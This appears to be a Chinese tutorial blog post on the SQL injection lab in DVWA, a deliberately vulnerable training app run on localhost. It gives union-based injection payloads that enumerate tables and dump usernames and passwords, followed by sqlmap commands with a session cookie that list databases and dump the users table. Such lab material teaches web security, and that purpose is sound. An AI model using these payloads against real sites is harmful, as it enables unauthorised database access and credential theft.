网络安全——DVWA之SQL注入漏洞

DVWA之SQL注入漏洞

  • SQL注入
  • SQLmap自动化SQL注入

SQL注入

//1、判断列数	order by [column_num];
//输入数据正确,则有输出,错误没有输出
//输入数据为 1' order by 3# [#作用为 注释后续SQL语句]时网页报错,则该数据库表有2列
	SELECT first_name,last_name FROM users WHERE user_id='1' order by 1#';
	SELECT first_name,last_name FROM users WHERE user_id='1' order by 2#';
	SELECT first_name,last_name FROM users WHERE user_id='1' order by 3#';

//2、联合查询其它信息 union select [sql1] [sql2]
//执行MySQL内置函数user()和database()
//user():返回当前数据库连接用户
//database():返回当前数据库名称
SELECT first_name,last_name FROM users WHERE user_id='1' union select user(),database()#';
	
//3.联合查询表
//从information_schema数据库中查询dvwa数据库表
SELECT first_name,last_name FROM users WHERE user_id='1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#';

//4、联合查询信息
//查询当前数据库users表中user和password数据
SELECT first_name,last_name FROM users WHERE user_id='1' union select user,password from users#';

SQLmap自动化SQL注入

//1、检测漏洞
//-u:检测网址
//--cookie:登录DVWA,在浏览器控制台里看请求消息头中获取cookie
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4"

//2、获取数据库名
//--dbs:database server获取所有数据库名
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4" --dbs

//3、获取指定数据库表
//-D:Database指定数据库名为dvwa
//--tables:列出数据库表
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4" -D dvwa --tables

//4、获取指定数据库列/表项
//-D:Database指定数据库名为dvwa
//-T:Table指定表名为users
//--columns:列出表项/列
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4" -D dvwa -T users --columns

//5、获取数据
//-D:Database指定数据库名为dvwa
//-T:Table指定表名为users
//--dump:读取数据
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=bkka73fohiotnhmj8f4e0jp8e4" -D dvwa -T users --dump

你可能感兴趣的:(网络安全,web安全,sql,安全)